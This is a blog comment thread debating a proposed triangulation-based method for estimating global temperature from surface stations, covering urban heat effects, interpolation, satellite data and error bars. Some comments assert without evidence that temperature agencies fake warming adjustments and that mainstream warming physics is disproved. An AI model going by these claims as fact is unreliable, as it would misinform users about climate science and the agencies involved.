Centigrade and Celsius are NOT the same.
C is Celsius in the SI system of units.
A centigrade scale is simply any linear scale that goes from zero to 100.
It could be simply the percentage of people who believe in catastrophic calamitous man made global warming climate change (CCMMGWCC) ;
izzat 97% of all scientists; or it could simply be your score on a school term paper.
The Celsius scale IS a centigrade scale; but C does not mean centigrade.
g
OK, so I’ll bite.
Just where can I find a reference to this new system of global temperature measurement.
Whatever happened to the concept of simply measuring the temperature at times and places on the earth surface that conform to the sampling requirements of standard sampled data system theory; i.e. Nyquist.
Seems to me that would work.
I think that might be the only thing that would work. Anything less is just BS.
G
G – point taken re Centigrade. re sampling requirements, we can’t go back in time and re-sample.
The real issue with either idea, how we do it now or your suggestion is that the mathematical model of temperature differences fail to distinguish problems from reality. A weather front can come through and look like a step change no matter how you measure it. Invalidating any attempt to mash the numbers. A single day can contain more than one high and low. High’s and lows can be vastly different over short time frames. Finally clouds have a huge impact on what the local temperature is at any given time and models don’t do clouds. So the raw data is really the best we have. The raw data of ideal stations is even better. But adjustments as a whole are just bs.
David R
Broadly agree.
Weather is variable – even chaotic.
Your
“But adjustments as a whole are just bs.” is noted, appreciated and mightily agreed with. In spades.
Auto – as self-effacing as ever!
re weather fronts, please see my comment below (the same applies to clouds, etc).
“So the raw data is really the best we have.“. Absolutely.
David R,
Most any type of thermometer or thermocouple that is immersed in a gallon of -40 F antifreeze will do clouds with ease
And ps, ….. auto manufacturers solved their “average temperature” problem many, many years ago by the placement of a simple spring-loaded thermostat in their vehicle’s radiator.
Another “problem” is not in the station but in the reported location over time. That can yield pseudo moves that are due to rounding and to datum shifts that are not reported or accounted for. For instance using standard USGS 7.5-minute paper topographic maps in the continental US generally means using the NAD27 (North American 1927 Datum) datum for any map older than about 1980. Later terrain maps employ WGS 84 (same datum used by a GPS unit) or NAD83, which is to most intents the same as WGS84. The difference between NAD27 and WGS84 can be well or over 100 meters. This can appear to automated data evaluation systems as a “move.” This can have significant “effects” on mapped locations if the individual doing the locating does not note and record the datum used for the fix. Additional error can be introduced if the location reported is corrected to a newer datum and the processing software corrects the location again because the programmer made an assumption about reported locations.
Another major “effect” is simple rounding of latitude and longitude figures. A second of longitude is roughly 30 meters at 45-degrees North (A bit over 100 feet). If a lat-lon location is only reported to a minute of accuracy that error is presumably +/- 30 seconds. Some of these errors are systematic rather than random.
IIRC, Anthony wrote up a station in New York state some years ago that appeared in the data to have been “moved” several times, but had been moved once, less than 100 feet, when a new system replaced the older installation.
I do not see any marked improvement over the current RSS data set, whose only “deficiency” is that Urban Heat Islands won’t overwhelm it. That being said, since most people actually live in/on these UHI affected areas, perhaps a UHI bias needs to be taken into account??? If not, then I’ll go with RSS!!!
tomwy
A variety of ways of measuring – even if one or more may be imperfect – at least allows dispassionate observers to look – carefully – at the data.
This may – or may not – be an improvement ( I think it probably is, if not hugely so) – but the re-evaluation more than justifies the effort, I suggest.
Auto
I would agree, so long as we place a weather station inside every shopping mall.
Radiosonde data presented in figure 7 of indicates that the surface-adjacent troposphere warmed .02, maybe .03 degree/decade more than the satellite-measured lower troposphere. One reason I suspect this happened is because decreasing ice and snow cover increased the lapse rate overall in the lowest ~1-1.5 kilometers of the lower troposphere.
We actually have three perfectly good temperature systems; RSS and UAH on a 5 degree grid, and Radiosonde(70,000 balloons annually). The UHI effect is very small as metropolitan areas only represent about 1% of the earth’s surface. The oceans represent almost 75%, and sparsely-populated/ unoccupied areas cover the rest of the planet.
The surface s tation system should be abolished and most scientists know it. So it would remove CAGW from climate science. The temperature differences are the primary contention between mainstream scientists and skeptical scientists. Removing this barrier would rove climate science ages forward.
Dale Hartz:
You say
I very strongly agree.
Although there is no possibility of a calibration standard for global temperature, the MSU (i.e. RSS and UAH) measurements are almost global in coverage and the radiosondes provide independent measurements for comparison.
The major problem with the surface station data is not removed by the proposal in the above essay. Indeed, the essay says it proposes to adopt the problem when it says
That is what is done by ALL the existing teams who use station data to compute global temperature.
The “stations” are the sites where actual measurements are taken.
When the measurement sites are considered as being the measurement equipment, then temperatures for these areas require interpolation.
Accordingly, the measurement procedure to obtain the global temperature for e.g. a year requires compensation for the imperfections in the measurement equipment. A model of the imperfections is needed to enable the compensation, and the teams who provide values of global temperature essay proposes adoption of an additional unique compensation model.
Refining the model to obtain “better” results can only be directed by prejudice concerning what is “better” because there is no measurement standard for global temperature.
As you say, Dale Hartz, “The surface station system should be abolished”. Another version of it is not needed.
Richard
Richard – I strongly agree with using the satellite systems from now on, for global and regional temperature, but in another comment I have given reasons for continuing the surface stations.
You miss the point when you say “That is what is done by all the existing teams …”. It isn’t. All the existing teams use their model to manipulate actual measurements before they are used. Mine won’t change any actual measurement [I did make provision for correcting systemic errors, but following a comment by Nick Stokes I now feel that it is best not to make any changes at all.]. One of the significant differences, for example, is that while UHE gets spread out by existing systems, mine would confine it to urban areas.
I agree that the historical measurements are heavily imperfect, and that any results from them need to be seen in that light. But I am seriously unimpressed with the mindset of the people doing the current systems, and I’m trying to get people to see things from a different angle – one in which measurement trumps model. I think the exercise would be interesting, and I think there would be greater benefit than just a better “global temperature” and better error bars (there’s another comment on that).
While everything is being distorted by ideologues it is easy to get very cynical about the surface station measurement system, but when sanity is re-established then I think there is merit in continuing with it.
Mike Jonas,
I followed your path part of the way creating my process to read the data.
I had 2 different goals, that led me a different way. I was more interested in daily variability (min to max to min), as I am very impressed how quickly it cools at sunset. That led me to generating the day to day change/rate of change over the year.
So I don’t calculate a temperature, I look at the derivative of temps. While I think this allows some flexibility on what stations/data to include, I’ve elected to include any station that has a full year of data gets included. No data adjustments, strictly measurements. When I process a full year for a station, then average all stations for that year for the area being calculated (I do various areas 1×1, 10×10, latitudinal bands, continents, global). For daily rate of change, you can include stations that take partial year samples(again adjustable), as you’re looking mostly for the derivative from warming and cooling peaks.
What I’ve come up with is there’s no loss of night time cooling since 1940, in fact it’s slightly cooler tomorrow morning that it was today.
So, I think there’s good data in the surface record, just not what’s published from it.
“…since most people actually live in/on these UHI affected areas, perhaps a UHI bias needs to be taken into account? If not, then I’ll go with RSS!”
Agreed. As a very long aside, though (and probably nothing that is news to you):
The way to take UHI bias properly into account is to completely separate urban temp measurements from the rural measurements – problem solved. Urban areas occupy well under 1% of the earth’s total surface of about 5 million km² (see, for example, here and here). If one’s goal is to understand global temp trends, and if non-urban trends say one thing, and urban trends say another – what does simple math tell him he should pay attention to?
Obviously this is assuming there actually existed 1) a well-sited, well-distributed, global, non-urban network of stations, that were 2) well equipped, well maintained, well calibrated, well measured, and whose raw readings were available to all. Such a thing doesn’t exist, of course (no bonus points for guessing why ;^> ), but the basic point that urban readings do nothing but contaminate all others remains. It’s like determining the temperature of the air in your house by consulting the thermometer sitting just above your stove — while you’re cooking dinner.
Lastly, if a person would like to know what urban temps are doing just for the sake of knowing such a thing, this is all well and good. Let’s just make sure we don’t fool ourselves into thinking they have anything to do with what the other 99+ % of the earth’s surface temperatures are doing.
” It would be very important to retain all original data…”
Just that statement alone makes your proposed new system superior to what we have now.
John
Agree.
But –
I am remiss – I don’t see (in this thread) the source of your quote –
” It would be very important to retain all original data…”
As noted – I agree.
Auto – late at night, so probably in error.
Toward the end of the paragraph that starts with “I stated above (“Disadvantages”) …” in the “Discussion” section.
I thought the original data had been damaged by the floods of 2011/destroyed in the storeroom fire/mislaid in the move from the old building/rendered unreadable when the data storage format was updated/eaten by mice.
You appear to be confused with the Hillary Clinton emails.
/grin
No RoHa, they are right next to the Bypass Plans
Interesting! – but may I make an immediate observation? In order to create a ‘model’ one needs to have historical (and preferably correct (i.e. raw!)) data to set ‘trends’ between stations within reasonable proximity (I note your last statements though!). Also, station height (e.g. above mean sea level) would probably be an important factor to try and include. The passage of weather fronts over the UK (for example) causes significant diffences over fairly short distances, probably within 10’s of miles – I’m guessing this would be completely different to the variation across large desert plains for example! I am on the coast, and 25 miles inland the temperatures are extremely different in summer/winter as you can imagine. Hence, such difference needs to be noted (historically) and accounted for in any ‘model’ in order to make a regional ‘avergae’ assessment? I can see the objective, but not sure of the method. What I would suggest is a direct historical comparison of (nearby) stations to determine some measure of synchronicity, which would likely throw up various oddities. If the agreement is within reason (in the majority) it would follow to assume agreement in general and deduce ‘regional’ temp values from the various station pair(s) data. As for UK metoffice raw data being available, that might not be possible, as Mr Jones himself has said!
Hi Kev-in-Uk – I tried to make it clear that I’m looking for a whole new way of looking at temperatures. Conceptually, you take temperatures around the globe to find out what the temperature is, and you then average them to get a global average temperature. My system does that, whereas other existing systems average something else. My system can also use every temperature measurement as is, on an equal footing with all other temperature measurements. We have all got so used to thinking about temperature trends that it is hard to think of a system that ignores them – but my system does. In effect, it has no interest in trends at any point in the entire process. Only after it has finished would you look at the results to see what the temperature trends have been.
So – what do you do about things like weather fronts, that can’t be predicted more than a few days ahead but have significant local effect? The answer is that you can’t put them into the model, so you don’t try to. You simply accept their effect as part of “natural variability” and just go on measuring the temperatures – ie, it’s just weather, and weather is what you are measuring! Over time, things like that average out, and if they don’t then you can probably work out how to put them into the model.
I think this has merit even as a cross check BUT, any system where temperatures are estimated from surrounding sites are affected by the time lags – For example there is no relationship between Adelaide and Melbourne on any given day but there IS a relationship between Melbourne and Adelaide lagged by one day because the predominant west to east motion of weather systems in this part of the world.
At different times of the year the dominant weather systems motion may alter, so the model needs to account for that effect. That is the “Pattern” will likely have seasonal variations.
A much better approach to all of this is to NOT model at all but rather acquire data from crowdsourced domestic weather stations
Hi Mike, at the end of the day, I feel that the temp data records have been tampered with enough and used to present/support an agenda. The mere fact that anyone with half a brain knows that central London is a few degrees warmer (due to UHE) than surrounding countryside and yet the Metoffice/MSM still use ‘high’ temps recorded at Heathrow to browbeat us with strongly suggests that UHE is not taken seriously. I mean, why are the London station data not adjusted DOWN by the obvious few degrees of UHE. I guess when someone answers that satisfactorily, or demonstrates that that is the case (in the Hadcrut data for example), I might sit up and take the surface dataset more seriously. As it is, I strongly believe the current ‘treatment’ is more likely to adjust surrounding stations UP to match Heathrow (or similar) or at least to allow the obvious UHE affected values to remain in situ and bump up the spatial temperature ‘average’! In short, there is no genuine human ‘interpretation’ of data anymore – it’s all programmed adjustment and averaging. I’m not really sure how you feel your system could ‘learn’ UHE without being historically measured in direct comparison to to non UHE stations? – and even then, wouldn’t a large degree of human data interpretation would be needed? regards, Kev
Mike Jonas:
You say
I am sorry to be the bearer of bad news, but as my above post explains, your proposed method is in principle THE SAME as all the existing derivations of global temperature from surface stations. And, therefore, if it were developed then your method would not provide any advantage(s) over any of the existing methods for deriving global temperature from surface stations.
Richard
bobl – As I read Mike’s proposal, his suggestion rather cuts to the heart of the “global average” question. While a global average is not much use for things like weather forecasting, it would be quite useful in determining “trends” if there are such. As the data is accumulated each 24-hour period, a temperature surface is calculated using a triangulated irregular network (a TIN to folks who use GIS systems). Employing such as system you could develop a detailed, global temperature “geoid” or simpler ovoid each day. An annual average of each station could be employed to calculate and annual average temperature surface and the annuals and longer terms could be summarized the same way. A global trend would show up as systematic drift in ALL stations over time without the need for data correction, gridding, or any of the extraneous effort involved in producing current “climate” summary data. That is, if there is a real, global trend, then it is present in all temperature data collected regardless of any instrument issues or any other side tracks. “Correcting” or adjusting the data has never been necessary to detect such a trend, IF IT IS REAL. Processes like increasing UHI would appear as growing “peaks” on the global surface; regional changes (increasing or decreasing forest, conversion to agricultural use etc.) would appear as local or regional “topographic” patterns that impose a change in to the local topography and then stabilize. Trend would affect all of these universally IF it is global.
surely a better system would be to ditch temperature altogether and just use changes in net energy emitted and absorbed by the earth ?
I agree absolutely – if you want to find out what the energy balance is. But if you want to know what the temperature is, a thermometer is quite useful. ie, it’s not an “either-or”, let’s do both.
Great idea!
The long pole in that tent is that the current on orbit experiments doing that measurement have admitted error bars larger than the effect we want to measure. I suspect there may be more errors than the admitted ones, but have not been able to look that closely. I know calibrating sensors to give a flat response across a broad band of radiation (far IR to far UV in this case) is very difficult even in a laboratory. I can’t imagine how difficult it must be when the experiment is in a high Earth orbit. Keeping the amplifiers and references aligned to see this couple of watts per square meter difference between incoming visible to far UV, and outgoing far IR to mid IR must be a nearly impossible task. I am amazed they get to it as well as they do.
Sorry, but how about a system that actually uses replicated random sampling that the rest of field science has required to estimate variance for decades now ? Then, of course, you would need to actually use samples to verify the sample size needed within and between sites. A cursory examination would reveal that the best stations with only 3 samples are woefully inadequate and not randomly located in any case.
The reality is that accurate global temperature estimates are some fantasy produced by some fevered wannabe hack scientist.
BioB
Absolutely.
It is a purely (impurely??) political concept.
Auto
I’ll read this idea in more detail, but to date it’s my conclusiion that you simply cannot get a valid global temperature from a sparse and intermittent surface station network, and that meaningful global tempertures do not exist before 1979 (MSU et al.). But the surface station network does allow for regional and local time series of sufficient accuracy to detect regional and local climate change.
For example, the consensus IPCC models predict the fastest warming states in the US to be Alaska (due to latitude) and Colorado (due to altitude, in the tropospheric “hot spot”). Both places have enough long term stations to say something about what is really happening. And that is that Alaska follows the PDO and little else (little trend warming), and Colorado is more complicated (a mix of PDO, AMO, and who knows what else) but also very little trend warming. At my own co-op station at 8950 feet in Colorado the IPCC predicts 1 degree F of warming every 15 years. Since 2000 it’s cooled 1 degree F. (all of this has been published and/or posted on WUWT and elsewhere). If the models can’t get a grip on regional climate change, there’s no point is using them for global change (which, after all, is the average of the regional changes).
But again, I’ll give this idea more of the attention it deserves after dinner and a beer tonight.
You can only get trends at stations and use that as some sort of indicator of a global trend.
My suggestion is to take the decadal trend for max and min separately at each station. Take the mean for grids of so-many degrees using stations that have more than 90% of data for the period. Redo it changing the starting month and shifting grids by a degree, and take the mean of all grids.
I suspect that the results will show such a massive uncertainty that everyone will say “lets just stick with the satellite data since 1979”.
Robert, since your conclusion is inevitable, I suggest we skip the intermediate steps and fire Gavin, Jones, NCDC et al. at 8 am Monday and have each and every climate observer figure out their own climate, and publish that. Of course, Mike Jonas can keep his job, which I’m sure is not in the climate-industrial complex.
Its not inevitable if you believe that you really can collect temperature readings from sparse and intermittent surface station network, correct for events never documented, and get something meaningful from the average.
Looking at two stations in my city, the old city site up to 1979 and the airport which is only 6 km away, the SD for the difference between the monthly mean max for the two is 0.46°C for the overlapping period of 25 years. So half the time, the difference is greater than a third of a degree from the average (0.18). RSS shows a total of a third of a degree rise from 1979! That’s on top of temperature not being something like density, where even the average for this straight forward example of an intrinsic property is not straight forward.
I’ll add that there is a trend in the differences as UHI affected the airport more than the city site (in parklands next to the city centre) for the first 15 years. There was no trend for the last 10 with the differences randomly spread and the SD was still 0.21°C. This suggests that a regions anomaly is within ±half a degree of what the local station records. How can you possibly homogenise using stations tens of kilometers away let alone hundreds as is the case for remote regions?
The moving 10 year trends differ by 2°C/century at the start, goes to 10 and then down -2°C/century but its a smooth curve with noise of 0.2°/century (spread due to different starting months). The global average shows a trend of less than 1 degree per century! There is too much happening to use an average temperature without a perfect record with evenly spread stations and a lot more of them.
I am a fan of using an extended Kalman-Bucy filter to combine the observations. The data vector would be the combined microwave spectrometer measurements, radiosonde data, and surface measurements. The trick is to get the noise vector correct along with the state transition matrix correct. When radiosonde measurements or surface measurements are absent, the observation matrix has a zero for them. The state transition matrix would be tricky because of the need to have the entire state vector be all points on the entire world grid at any given time as the state vector. In the “old days” you would not even think of something like this, but these days, there is enough horsepower in even a Mac Pro with a graphics unit to perhaps pull it off a bit. Lots of junk to work out.
Building a model of a system that has no global temperature (the Earth) is something completely different from building a model to maintain a desired, average temperature of a system (ex. an engine or HVAC system) over which you can exert control relative to timely feedback.
Engineers do the latter all the time. But discussions about “global temperatures” is something that always leaves me shaking and scratching my head….
What is wrong with using satellite data? They circle the globe every 90 minutes, cover both land and sea & have been doing so for 30 odd years. If it can’t be used what was the point of launching them in the first place?
I agree that satellites give us the best global data. There are four reasons I can think of immediately for using a system based on surface temperatures:
1. There is no satellite data before 1979.
2. Surface temperature measurements provide a cross-check for the satellite data.
3. Local measurements provide a level of detail that satellites currently cannot.
4. Weather and climate studies may be able to take advantage of the extra detail.
[count 3 and 4 as one reason if you like]
You are incorrect. The NEMS flew on Nimbus E and the SCAMS flew on Nimbus F. I once shared an office with 4,000 tapes from Nimbus E extracting the NEMS data. It was nadir only, while SCAMS was a scanning instrument. Lord knows where the data is today, but if they could find it and a tape drive to read it, you could analyze it in a couple of weeks with a Mac Pro. That would bring the record back to earlier than 1973.
Why not just use unadjusted satellite and balloon data ?
In general, individual station errors don’t matter provided they are reasonably random and not systemic, because they will average out over time
I regard this as an incorrect assumption. The problem is that most errors are NOT random, they ARE systemic. You noted the effect of aging paint in your comments. Well, that’s a systemic error. As the sensors age, they too will drift, and all the sensors of a given type will drift in the same direction. I could go on, but I think that illustrates the point. Systemic errors will (I believe) heavily outweigh random errors. Assuming they will all cancel out is, I think, one of the biggest errors made in calculating global temperatures. It is simply a bad assumption.
I don’t assume they will ALL cancel out, and I do state that systemic errors need to be dealt with. But I do think that there is data, currently being adjusted to fit a perceived ‘model’, which is best left unchanged. Making lots of adjustments always risks inadvertently introducing bias. Our temperature measurements have all sorts of gaps and errors, and we should get away from the idea that we can adjust them in order to get improved results. Instead, we should accept that the measurements are all that we have and that any system using them cannot be more accurate than the meassurements.
we should accept that the measurements are all that we have and that any system using them cannot be more accurate than the meassurements.
I f you were to display error bars on the end result, I think a considerable number of people would be delighted.
I should have mentioned error bars under “Evaluation”. Yes, very important.
Mike,
Along the lines mentioned here, and this;
“Note: The terms global temperature and regional temperature will be used here to refer to some kind of averaged surface temperature for the globe or for a region. It could be claimed that these would not be real temperatures, but I think that they would still be useful indicators.”
Sure, but why call them global or regional this or that, rather than weather station system this or that? Why “pretend” the globe or whole region is being measured, rather than keeping it real, and speak of “stations in X region show…, stations in all regions show… etc?
Local trends would appear in Mike’s proposed triangulated system as a systematic shift in the “z” value of local points. So would regional effects like development and reforestation. The idea is quite elegant and eliminates a great deal of wasted time and argument by simply ignoring problems with data quality. The quality issue is only important if the problems are directional and systematic, and contrary to theoretical expectations. Any real trend would actually appear globally and could only “vanish” if an equal and opposite “correction” were applied to all data. But doesn’t NOAA apply just such a “correction”? Even problems like TOBS cease to be relevant.
corporateshots January 10, 2016 at 2:24 pm
surely a better system would be to ditch temperature altogether and just use changes in net energy emitted and absorbed by the earth ?
I think this bears repeating. What we’re trying to understand is the energy balance change due to CO2 and other factors. Temperature is a lousy proxy for energy balance. A change of one degree at -40 is about 2.9 w/m2. A change of 1 degree at +40 is 7.0 w/m2. These two values can not be averaged! Any system that doesn’t take this into account winds up over representing changes at high latitude, high altitude and winter seasons, and under representing changes in low latitude, low altitude and summer seasons.
The patient has three broken ribs, a fractured elbow, a broken leg and a deep cut on his forehead. Putting three stitches in the deep cut may well be called for, but it hardly treats the patients fatal injuries.
The only meaningful measurement is TOTAL. (because it’s an actual measurement – what a concept!)
Averaging antarctica with death valley is purest nonsense.
Somebody needs a boot averaged with his butt.
David M H
I am with you on this energy thing. If this method proposed is used, what is it telling us? Is it answering the right question?
If the high is 10 C for ten minutes and the rest of the 24 hrs is -5, what does this tell us? My inclusion of the element of time tells you that the time-weighted value should be a hair above -5, not 2.5.
Heat in the system is a combination of temperature, time, altitude and humidity. Is it impossible to have a clock and a hygrometer at the stations? Each station should produce a ‘heat content’ measure that reflects what the enthalpy of the atmosphere was during the day. While we are transfixed by highs and lows, they are not telling us much about climate.
Quantifying the energy in the air on a daily basis has meaning when discussing climate issues.
An advantage to doing this is it would force discussion about climate to use system energy instead of transient maxes or mins that contain so little information.
The oceans are analysed on the basis of heat content. Why not do that same thing for th atmosphere? Then the two can be summed in a meaningful way.
How about we adjust NOTHING…except documented irregularities based on things like equipment and time of day. We come up with a daily, monthly, and/or yearly temperature based on the data we have and as well spatially accounted for as possible. We re-run the routine several times using various different spatial practices to figure out what the “global temperature” was…and make note of how wildly that changes the results. We note that since we’re not forcing it into a continuous record, its even more erratic.
We total up the obvious, overall error between the different spacial accounting practices (because they can’t all be right and maybe none are). We add in the measurement error. We add in the error for the various adjustments that are needed for equipment changes, time of day, etc. AaaaAAAaaand then we leave UHI calculations out of the adjustments and explain to people that thanks to irregular station moves to avoid UHI, often multiple moves per station, we have no freaking clue how much UHI there actually is in the record but that its likely present making our already far more erratic results “too high” by some difficult to fathom amount.
…and after all that, we’ll notice it’s virtually impossible to even know with certainty that there’s been warming since the 1940s
” There are a number of organisations that produce estimates of global temperature from surface measurements. ”
There are also a number of organisations that produce astrological predictions/estimates from birth dates & star/constellation positions.
I don’t have much use for either set of “estimates”.
How about “template” instead of “model”? Or “local template,” “regional template,? and “global template”? Talk about requiring computer power! We could develop budgets as large as the GC modelers get. More green jobs!
But do we really need to know this “value” to such precision and accuracy? Or are we just falling into the trap of efforting to counter every warmist factoid when the settled fundamentals of their “science” rob their claims of all validity? Te burden of proof lies on a claimant, especially extreme claims when the fundamentals don’t work out.
Beyond that, is it a number that has any real meaning (outside of political manipulation)? What are the climate parameters of a tempest in a teapot? Shall we develop a template for tempests?
The use of all temperature data sets is problematic. Some of those data sets are of poor quality, and others have been ‘adjusted’ using unknown methodology. The old saying of “garbage in, garbage out” is very much in play if all data sets are used.
” To any reasonable person, it is surely inconceivable that these organisations would not retain their original data.”
Tell that to the CRU.
This is simply a method of interpolation and you do not show why it is optimal.
” No temperature measurement affects any estimated temperature outside its own triangles. Within those triangles, its effect decreases with distance.”
Really? Most interpolation schemes require the use of derivative at points as they are a result of Talylor’s theorem. This requires the use of data outside the triangle in question to determine the derivative and so will influence the value within the triangle.
If I have understood you correctly, your scheme is piece-wise discontinuous, which certainly isn;t physically realistic. To obtain continuity through any point, knowledge of the surrounding data is required.
Yes, it is piece-wise discontinuous – just like actual temperature measurements are discontinuous. The whole point is to have a system that uses every surface temperature measurement unchanged. As I said, the proposed system adjusts the model to fit the temperature measurements. And when I said “fit”, I meant fit exactly – in the final result for each day every temperature measurement is still there and it hasn’t been changed. No matter what you put into the model, it can’t override any measured temperature.
Yes, it is a 2-dimensional interpolation scheme which interpolates within triangles, but no it doesn’t require the use of derivatives etc because when it interpolates within a triangle, it doesn’t look outside the triangle. The only temperatures it has are at the three corners of the triangle. Instead, it uses an expected temperature pattern (the “model”) for its pattern within the triangle. So the temperature pattern survives within the triangle, but the triangle’s corners don’t move. The null model is “all temperatures are the same everywhere every day”. Even that would give respectable results, but a more intelligent model will give better results – how much better can be determined by comparing their ratings. In the end, the system and the model help each other (the system “learns”), but the measured temperatures still reign supreme.
I mention UHE a few times. If the model gets UHE right, then in the results UHE will appear only in urban areas. These are a very small fraction of the globe, so UHE will then have very little effect on the global figure. The UHE will still be there, because those places really do have those temperatures. Not all the urban temperature is natural, but it won’t be worth trying to remove it because it will be a trivial part of the global whole. One of the major benefits of the proposed system is that it won’t let UHE spread its influence beyond the urban areas once the model “gets” UHE. And the system itself helps the model to “get” UHE. Once the model “gets” UHE, it can tell you how to remove it!
This system is probably a bit different to anything anyone is used to, so hopefully people will clear their minds before trying to understand it. It’s not that it’s difficult – it isn’t – it is just that I am trying to think outside the box.
“Yes, it is piece-wise discontinuous – just like actual temperature measurements are discontinuous.”
Actually, it isn’t. You are just linearly interpolating within each triangle – as if you pulled a membrane tightly over the values. It is just the kind of interpolation done in finite elements. The derivatives are discontinuous.
I draw plots of temperature anomalies interpolated in this way, eg here. The node values are exact, and color shading shows in between. There is a version here whre the shading isn’t as good, but you can show the mesh.
Of course a proper interpolation scheme can be used to preserve data points and make the temperature continuous.
The problem with your post is that you don’t specify the model in a meaningful way apart from saying that it is intelligent.
As regards “thinking outside the box”, surely you mean thinking outside the triangle!
Nick – re discontinuous / derivatives. You are correct, of course.
An interesting test would be to take a set of four sites in which one site is in the middle of the triangle of the other three. Calculate the average temperature from them and then delete the center site and use the outer three to calculate the average temperature. It would be very interesting to see how similar the answers would be.
A caveat up front. I am not a climate scientist but a simple physicist, for which I thank the circumstances of my entry into science. That given, I have long thought that the notion of a “global average temperature” (GAT) constructed from a sparse set of mixed quality data, statistically infilled (and outfilled) spatially and temporally to try to simulate global coverage is poorly suited to discerning trends presumably based on thermodynamics of the global climate system (GCS). I think concerns have been frequently voiced here and elsewhere about the utility, from the perspective of physics, of extensive versus intensive variables and the difficulty of properly defining and constraining the thermodynamics of the GCS. Couple with that the apparently cumbersome, intricate, and in many cases arcane nuances of continually adjusting mixed quality point measurements so as to average across space and time (and hence across thermodynamic regimes) and I am unconvinced that such GATs represent much more than the adjustment process evolution. Thankfully it is not my job to worry about such things. The only downside to this whole issue is that I have already broken my 2016 resolution to quit spending valuable time reading and thinking about climate science.
All that said, I have long thought a much more useful approach would be to treat the temperature records as the stock market is treated, and simply construct an index (or indices) with as consistent a definition of its components as possible. This would mean abandoning the notion of total global coverage, since that is already of dubious thermodynamic quality. As the Dow Jones average selects a certain set of industries based on qualities related to company size, longevity, quality of financials, weighted simply by market price, etc. one could select a set of temperature records based on the precision and accuracy of the instrument, the transparency of its record keeping, the suitability of its measurement protocols, perhaps weighted by the accuracy of the instrument, etc. One could attempt to obtain as extensive a global set of high quality measurements as possible, but with no attempt to be complete. Rather the goal would be to have a consistently high quality set of measurements sampling the globe. It seems sea surface temperature would be tough because many of those sources appear to move about, so perhaps satellite sea surface temperatures could be used. Sites could be selected to be as free from complicating issues such as changes in land use. I think I have read of analyses of some subset of the continental U.S. stations that are of high quality, called GHCN or something like that. The result would be admittedly only an index, and it would likely be difficult to find an index of quality historically, but one starting now or within the modern era would seem to be an improvement. Tracking the trends in such an index would seem to me to be as useful as constantly picking apart attempts to fiddle with all the mixed data to try to obtain a GAT. I presume global climate model outputs could just as easily be extracted to compare to such an extensive but incomplete set of data as is done now to compare to existing GATs. The behavior of such an index would not be easily relatable to the complete thermodynamics of the GCS, but neither is the behavior of the GATs in existence. It seems such an index would be more free of adjustment induced variations and more directly related to temperature trends, at least for the set of points sampled.
fahutex says: “One could attempt to obtain as extensive a global set of high quality measurements as possible, but with no attempt to be complete. Rather the goal would be to have a consistently high quality set of measurements sampling the globe.”
This is just so sensible! I waste so much time wondering why GISS et al use such a convoluted process! Take high quality stations only and get as many around the world as possible. Bad data is just that:bad. Why are we mixing clean and dirty water together?
fahutex says: January 10, 2016 at 6:10 pm: I think I have read of analyses of some subset of the continental U.S. stations that are of high quality …
… Yes, it’s called the CRN, Climate Reference Network. Anthony has written several times about it and showed the data. Unfortunately, it shows no warming over the past ten years or so, so NCDC sticks to their analysis of less suitable stations because they can find ways to adjust it to provide the required warming.
“NCDC sticks to their analysis of less suitable stations”
In fact, anomalies from USHCN stations and USCRN are virtually identical:
fahutex also says: January 10, 2016 at 6:10 pm: I am unconvinced that such GATs represent much more than the adjustment process evolution…
… I like to compare it to cheese. You start with milk, and with a little effort make great cheddar. More processing and you get Velv**ta, known more as “processed cheese product” than as cheese. In this case, just as with “global temperatures”, the result says more about the processing than the initial input (observations and/or milk). I suspect that with Velv**ta, you could start with motor oil and end up with the same thing. With climate data, you can have observations that show warming, cooling, or cycles, but 2015 will always come up as the warmest year (until 2016).
Thank you fahutex.
I am not a scientist in any shape or form but i believe i am blessed with a goodly amount of common sense and have been a voracious reader, particularly of WUWT. Your contribution to this subject is the best i’ve read anywhere and gives me confidence that one day common sense may return to climate science.
fahutex:
You say
Yes, that is one of the options stated in Appendix B of this item which I suspect you may want to read.
Richard
Novel and interesting approach but it would be absolutely unacceptable to GISS NOAA etc as they need to adjust figures to get the required outcome.
“Over time, the model can be refined and the calculations can be re-run to achieve (hopefully) better results.”
Wait – that is exactly what goes on now. Who will decide how this will be implemented, and what criterion would apply before the NextGen temperature tracking system gets fiddled with?
Isn’t what is being done now more along the lines of data being altered and calculations re-run to achieve pre-determined results?
I think it is more about intent than the method of getting the desired result. The goal is to get a desired result else they would just leave things alone. Don’t see anything to prevent that in NextGen methodology, and the opportunity seems to be built into the process (see the quote).
OK – you have been a given an unlimited budget to set up a temperature data system that you KNOW will give annual global averages for land sea and atmosphere within margin of error within 1 C. What would it be?
Instead of the rhetoric. bitterness, and blame, this is what the World should be doing. But first we must get the various institutions to publicly admit their estimated (and audited) margins of error
The key to exposing the truth (or lack of) over this issue is to shout loud and clear, over and over to all involved parties “WHAT ARE YOUR MARGINS OF ERROR?” They should not be permitted to slide out from under this question and it needs to become the catch-cry of anyone concerned over this issue
Once it becomes clear that the MOE’s are larger than the e.g. “degree to which records are been broken” the public and Governments will begin to understand (or made to)
Any honest commenter must have noticed that the contrarian side of the “Warming? Not Warming!” argument has switched from arguments against the basic physics (lost those) to hiatus-assertion (lost those) to current attacks on temperature-assessment methodologies.
There must be some Latinate rhetorical definition for “searching for an argumentative technique that supports a pre-decided conclusion,” but I’m afraid I’m unaware of it …
Troll writes: “… the contrarian side of the “Warming? Not Warming!” argument has switched from arguments against the basic physics (lost those) to …”
Sorry. The CAGW hypothesis predicts:
1) A warming trend in the troposphere (“hot spot”) – sorry, not there.
2) More H2O in the upper troposphere – sorry, there’s less.
3) Less radiation to space – sorry, there’s more.
Hypothesis disproved 3 times over.
“…to hiatus-assertion (lost those)…”
The existence of an hiatus was never a part of the reason for disbelieving this theory – its proven failure to get core predictions right is the reason. But since you mention it, the “hiatus” is alleged to have stopped because the ground is warming. But the troposphere isn’t, and the theory predicts:
4) The troposphere will warm faster than the ground – sorry, the atmosphere is still flat while the ground is warming – theory disproved for a fourth time.
“… to current attacks on temperature-assessment methodologies.”
Like the date of the month corrections in Australia that go up on the first of the month, down on the first of the next, up, down, and all around? Like those “attacks”? Well YEAH! The temperature products are demonstrably corrupt, no shadow of a doubt.
The fact that you and those like you believe in a theory that is four times disproved and based on proven malpractice and/or incompetence isn’t a criticism of US, it’s a criticism of YOU.
“arguments against the basic physics (lost those)”
Seriously?
without any knowledge of basic physics, how the heck would you have any idea about anything ?
All the “physics” arguements are well and truly on the ANTI-AGW side of reality.
myslewski:
